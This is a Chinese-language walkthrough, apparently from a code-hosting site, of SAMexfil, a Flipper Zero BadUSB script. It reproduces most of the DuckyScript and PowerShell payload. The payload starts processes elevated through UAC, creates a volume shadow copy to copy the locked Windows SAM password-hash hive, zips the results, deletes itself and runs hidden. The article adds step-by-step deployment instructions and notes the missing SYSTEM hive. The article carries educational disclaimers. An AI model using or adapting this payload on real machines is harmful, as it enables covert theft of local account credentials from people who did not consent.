Flipper Zero BadUSB 之 SAMexfil 深度解析:借助 Windows 卷影副本提取 SAM 凭据数据库
【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper
导读
SAMexfil 是 UNC0V3R3D-BadUSB-Collection 中位于 Windows BadUSB「Exfiltration」分类下的一款数据渗出(Exfiltration)脚本,其目标只有一个:把 Windows 目标主机上几乎不可能被直接复制出来的Security Account Manager(SAM)注册表配置单元原样抓取出来,连同环境信息一起打包成 ZIP 文件留存在本地。读完本文,你将完整掌握该脚本的两阶段执行架构、卷影副本(Volume Shadow Copy)绕过文件锁定的底层原理、ZIP 打包与痕迹清理的实现细节,以及在 Flipper Zero 上正确部署和配置它的完整步骤。
安全声明:本仓库及作者在 集合 README 中明确强调,所有脚本仅供教育用途,运行前必须获得目标设备所有者授权,作者不对任何滥用造成的损害负责。建议始终在虚拟机等隔离环境中先行测试。
一、脚本定位与能力概览
根据 SAMexfil 文档 的官方描述,SAMexfil 的核心功能有三点:
- 打开 PowerShell:通过系统级交互自动获取并进入 PowerShell 执行环境;
- 复制 SAM 配置文件:利用 Windows 卷影副本技术读取被系统独占锁定的 SAM 配置单元;
- 将其存储到文件:把提取到的 SAM 连同生成的 HTML 环境报告一起打包为 ZIP 存档。
脚本本体为 SAMexfil.txt,采用 DuckyScript 1.0 语法编写(仓库 集合 README 明确说明该集合内所有 BadUSB 脚本均使用 DuckyScript 1.0 语言)。从脚本文件头部的REM注释可以确认其元信息:
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) REM Description: Extracts Security Account Manager of the PC to a file. REM Version: 1.0 REM Category: Exfiltration二、使用前必改配置(How to use)
原文档特别强调:本脚本并非即插即用,使用前必须完成一处修改——调整 ZIP 存档的输出路径。原文档给出的修改点是"-DestinationPath PATH\results-61748762.zip"中的PATH部分。
结合脚本源码(SAMexfil.txt)进一步核对,实际与输出路径相关的落盘点有两处,部署前建议一并确认:
| 落盘内容 | 实际路径(脚本中) | 说明 |
|---|---|---|
| ZIP 压缩包 | C:\Windows\Report.zip | 由copy-ToZip函数生成(第 53 行$zipFile) |
| 临时 PowerShell 载荷 | C:\Windows\config-98437.ps1 | 第 83 行保存的中间脚本文件 |
值得留意的是,readme 中-DestinationPath的说法与其他同类脚本(如 ExfilFirefox/readme.md、General_PC_Information/readme.md)文案几乎一致,可见该 readme 使用了模板化描述;而从脚本本体可以看到,ZIP 的真实输出路径写死为C:\Windows\Report.zip。因此如果你需要自定义输出位置,应当修改脚本第 53 行$zipFile对应的路径值。
三、整段脚本源码级拆解
SAMexfil.txt全文约 108 行,按执行顺序可以清晰地划分为三个阶段。下面逐段还原其真实执行逻辑。
3.1 阶段一:UAC 提升 + 记事本作为写入载体
脚本前 20 行(SAMexfil.txt)做的事,是把"记事本"以管理员身份拉起来:
DELAY 750 GUI r ; 打开"运行"对话框 DELAY 1000 STRING powershell Start-Process notepad -Verb runAs ; 通过 PowerShell 以管理员启动记事本 ENTER DELAY 750 ALT y ; 触发 UAC 弹窗后,按下"是"(Yes) DELAY 750 ENTER紧接着通过ALT SPACE打开窗口系统菜单、STRING m选择"最小化"(Minimize 的助记键),并用DOWNARROW+REPEAT 100+ENTER反复导航确保窗口确实最小化,避免后续注入内容打到错误的窗口焦点。
为什么要借道记事本?从脚本结构看,后续所有 PowerShell 载荷都是逐行STRING键入记事本,再通过CTRL s另存为.ps1文件的。这种做法的实际收益在于:记事本进程本身已经以管理员身份运行(经由Start-Process -Verb runAs),因此它能以管理员权限将文件直接写入C:\Windows\系统目录,从而把载荷落盘与权限提升合并到同一步骤,无需在 PowerShell 侧再处理复杂的写入授权问题。
3.2 阶段二:注入 PowerShell 载荷
第 21 行起(SAMexfil.txt)开始逐行键入 PowerShell 代码。首先是环境准备部分:
$folderDateTime = (get-date).ToString('d-M-y HHmmss') $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime $fileSaveDir = New-Item ($userDir) -ItemType Directory $date = get-date$folderDateTime:以日-月-年 时分秒格式生成时间戳,保证每次运行的报告目录唯一;$userDir:在当前用户目录(%USERPROFILE%)下创建名为Ducky Report <时间戳>的工作目录;New-Item -ItemType Directory:实际创建该目录,后续所有提取产物都集中存放于此。
接下来生成一份 HTML 格式的环境报告。脚本先定义一个较长的内联 CSS($style),控制报告页的左右分栏、居中区块、表格样式与整体字体,然后调用:
$Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html' $Report = $Report + "<div id=body><h1>Duck Tool Kit Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"即用ConvertTo-Html生成一份带标题与样式的 HTML 骨架,并追加"报告生成时间"信息,最后写入ComputerInfo.html。这一步的意图可以理解为:把"提取 SAM"这件事包装在看似常规的"系统信息收集"报告流程中,并让 ZIP 包内的产物更接近一份完整的取证/侦察报告。
3.3 载荷核心:卷影副本 + 符号链接 + 复制 SAM
第 35~46 行(SAMexfil.txt)是整段载荷的核心:
$createShadow = (gwmi -List Win32_ShadowCopy).Create('C:\', 'ClientAccessible') $shadow = gwmi Win32_ShadowCopy | ? { $_.ID -eq $createShadow.ShadowID } $addSlash = $shadow.DeviceObject + '\' cmd /c mklink C:\shadowcopy $addSlash Copy-Item 'C:\shadowcopy\Windows\System32\config\SAM' $fileSaveDir Remove-Item -recurse -force 'C:\shadowcopy'这一段的执行逻辑是:
- 通过 WMI 类
Win32_ShadowCopy的.Create('C:\', 'ClientAccessible')方法,为C:盘创建一个客户端可访问的卷影副本(Shadow Copy / VSS 快照); - 用
gwmi Win32_ShadowCopy按返回的ShadowID反查出对应卷影实例,取其DeviceObject(形如\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\的设备路径)并补上末尾斜杠; - 调用
cmd /c mklink C:\shadowcopy <设备路径>创建一个指向该卷影的目录符号链接; Copy-Item从链接路径中读取Windows\System32\config\SAM,即把卷影快照里的 SAM 配置单元复制到报告目录——注意这里读取的是卷影中的文件,而非被系统锁定的在线文件;- 用
Remove-Item -recurse -force清理符号链接,避免在文件系统中留下明显痕迹。
复制完成后,$Report >> $fileSaveDir'/ComputerInfo.html'将流程状态追加进 HTML 报告。
3.4 载荷收尾:ZIP 打包与自清理
第 49~79 行(SAMexfil.txt)定义并调用copy-ToZip函数,负责把报告目录压缩成 ZIP 并清理现场:
function copy-ToZip($fileSaveDir){ $srcdir = $fileSaveDir $zipFile = 'C:\Windows\Report.zip' if(-not (test-path($zipFile))) { set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18)) (dir $zipFile).IsReadOnly = $false } $shellApplication = new-object -com shell.application $zipPackage = $shellApplication.NameSpace($zipFile) $files = Get-ChildItem -Path $srcdir foreach($file in $files) { $zipPackage.CopyHere($file.FullName) while($zipPackage.Items().Item($file.name) -eq $null){ Start-sleep -seconds 1 }}} copy-ToZip($fileSaveDir) remove-item $fileSaveDir -recurse Remove-Item $MyINvocation.InvocationName技术要点:
- 手工构造 ZIP 文件头:ZIP 文件必须以
PK魔数开头,脚本用"PK" + [char]5 + [char]6 + ("$([char]0)" * 18)写入一个最小化的合法 ZIP 头部(0x05 0x06对应 End of Central Directory 标记的前导字节),从而创建一个"空 ZIP"作为容器; - COM 对象压缩:通过
new-object -com shell.application调用 Windows Shell COM 接口,把C:\Windows\Report.zip作为命名空间打开,随后CopyHere逐个把报告目录内的文件压入 ZIP;while轮询Items().Item($file.name)是否非空,直到确认文件已写入 ZIP 才处理下一个文件; - 三重清理:
remove-item $fileSaveDir -recurse删除未压缩的原始报告目录;Remove-Item $MyINvocation.InvocationName让正在运行的 PowerShell 脚本删除自身(即C:\Windows\config-98437.ps1),实现运行后自毁。
至此,目标机器上留下的可见产物只有C:\Windows\Report.zip(内含 SAM + ComputerInfo.html)。
3.5 阶段三:保存载荷并隐藏执行
脚本在记事本中完成键入后,用CTRL s打开保存对话框,键入C:\Windows\config-98437.ps1并回车保存,随后ALT F4关闭记事本(SAMexfil.txt)。
最后一段(第 88~108 行)重新打开运行框,再次以管理员方式启动cmd,走完 UAC 确认后,把窗口尺寸压到最小(mode con:cols=14 lines=1)并最小化窗口,然后依次执行:
powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false powershell.exe -windowstyle hidden -File C:\Windows\config-98437.ps1第一步把当前用户的 PowerShell 执行策略临时放宽为Unrestricted,确保.ps1文件可以被运行;第二步以隐藏窗口(-windowstyle hidden)方式执行前面写入的config-98437.ps1,让整段提取流程在用户视野之外静默完成。
四、原理深挖:为什么普通复制拿不到 SAM
4.1 SAM 是什么,为什么受保护
SAM(Security Account Manager)是 Windows 中存放本地用户账户与密码哈希的注册表配置单元文件,物理路径为%SystemRoot%\System32\config\SAM(即C:\Windows\System32\config\SAM)。它保存着每个本地账户的用户名、RID、以及密码的 LM/NTLM 哈希等信息。
在系统运行期间,SAM 配置单元被系统进程独占锁定,任何普通权限的Copy-Item、copy甚至常规备份工具都无法直接读取它。这正是该脚本必须绕道的根本原因,也是它选择卷影副本方案的意义所在。
4.2 卷影副本(VSS)如何绕过文件锁定
脚本调用的Win32_ShadowCopy.Create('C:\', 'ClientAccessible')属于 Windows卷影复制服务(VSS)的 WMI 接口。它可以在文件被占用/锁定的情况下,为指定卷生成一个只读的、一致的快照视图(即 Shadow Copy)。
关键点在于:卷影副本暴露的是一个独立于在线文件系统的设备路径(DeviceObject),通过它去读取Windows\System32\config\SAM时,读的是快照内的同一份文件内容,却不再受在线文件的独占锁限制。脚本里mklink建立符号链接只是为了让Copy-Item能以普通路径形式访问该设备路径,降低命令复杂度和出错概率。
从源码结构看,这一"WMI 创建卷影 → 符号链接挂载 → 快照中复制 → 删除链接"的步骤组合,就是整个 SAMexfil 能在系统运行中取走 SAM 的底层机制,也是该脚本相比直接暴力复制更可靠的核心原因。
4.3 关于提取结果:拿到 SAM 之后的现实限制
这里有一个脚本层面可以观察到的细节值得强调:SAMexfil 只提取了SAM一个配置单元,没有同时复制SYSTEM配置单元(C:\Windows\System32\config\SYSTEM,两者位于同一目录)。SAM 中的密码哈希在磁盘上受 SYSKEY 机制加密,离线解析时通常还需要 SYSTEM 配置单元中的引导密钥才能完成解密。因此从脚本内容推断,运行后产出的Report.zip主要价值在于把 SAM 数据成功带离目标主机;若要离线还原可用的凭据哈希,后续一般还需补充获取 SYSTEM 配置单元。这是把脚本用于"完整取证链路"时必须自行补齐的一环。
五、在 Flipper Zero 上部署与运行
仓库 集合 README 给出了标准的部署流程,适用于本脚本:
- 克隆/下载仓库,取得 SAMexfil.txt 与对应 readme;
- 按第二节所述修改输出路径等配置项;
- 连接 Flipper Zero(手机端可用蓝牙、PC 端可用 USB),通过 qFlipper 打开SD Card → badusb目录,把
.txt脚本文件拖入; - 在 Flipper 上进入BadUSB应用,选中
SAMexfil.txt,按中间键确认,将 Flipper 通过 USB 连接到目标 Windows 主机后脚本即开始自动执行。
注意:DuckyScript 的DELAY单位是毫秒,脚本中的DELAY 750/DELAY 1000等数值是作者针对常见 Windows 启动速度设定的。如果目标机器较慢导致时序错乱,可参考集合 README 的排查建议适当调大这些延迟。
六、使用注意事项与故障排查
权限与时机
- 脚本全程依赖 UAC 提权(
ALT y确认),目标机上如果 UAC 弹窗默认行为被更改、或当前会话没有管理员可用的提权入口,脚本将无法进入后续流程; - 卷影副本的创建要求系统启用了相关 VSS 服务,且在
C:卷上有足够空间;企业环境中常通过组策略禁用卷影副本,这会让第 35 行的Create调用失败。
安全与检测
- 该脚本运行后在
C:\Windows\Report.zip留下提取产物,config-98437.ps1虽有自删除逻辑,但复制 SAM、创建卷影副本等动作通常会被实时防护与 EDR 产品标记,属于高风险行为;务必只在授权的测试环境(推荐虚拟机)中运行; - 集合 README 明确要求:使用前必须阅读并接受使用协议(license.md),脚本仅供教育用途,未经许可不得对他人设备运行。
时序类故障(来自集合 README 的排查经验)
- 若脚本"打开了随机窗口、把文字打到了错误的地方":通常是
DELAY过短,把对应DELAY数值调大(如DELAY 500→DELAY 700)即可; - 若 Flipper 报
ERROR: line 5之类的行号错误:检查.txt文件中是否混入了空行、行首空格,或LOCALE命令(该命令在 Flipper 上支持不佳)。
七、仓库中的相关资源
- 脚本本体:SAMexfil.txt
- 官方说明文档:readme.md
- 同级同类脚本:同一 Exfiltration 目录下还收录了 ExfilFirefox(Firefox 配置文件渗出)、Keylogger(键盘记录)、Network_Exfiltration(网络信息收集)等,便于对比同类渗出脚本的不同实现手法;
- 集合总览与部署、排障说明:README.md;
- 许可协议:license.md。
结语
SAMexfil 的精妙之处不在于"DuckyScript 敲了几行命令",而在于它把UAC 提权、记事本落盘、WMI 卷影副本、目录符号链接、COM 接口压缩、脚本自毁这一整条链路,压缩进了约百行可被 Flipper Zero 逐键回放的脚本里。理解这条链路,不仅能让你在授权环境中安全地复现 SAM 提取实验,也能帮助你更深入地理解 Windows 对凭据文件的保护机制,以及"为什么普通复制永远拿不到运行中的 SAM"。
【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考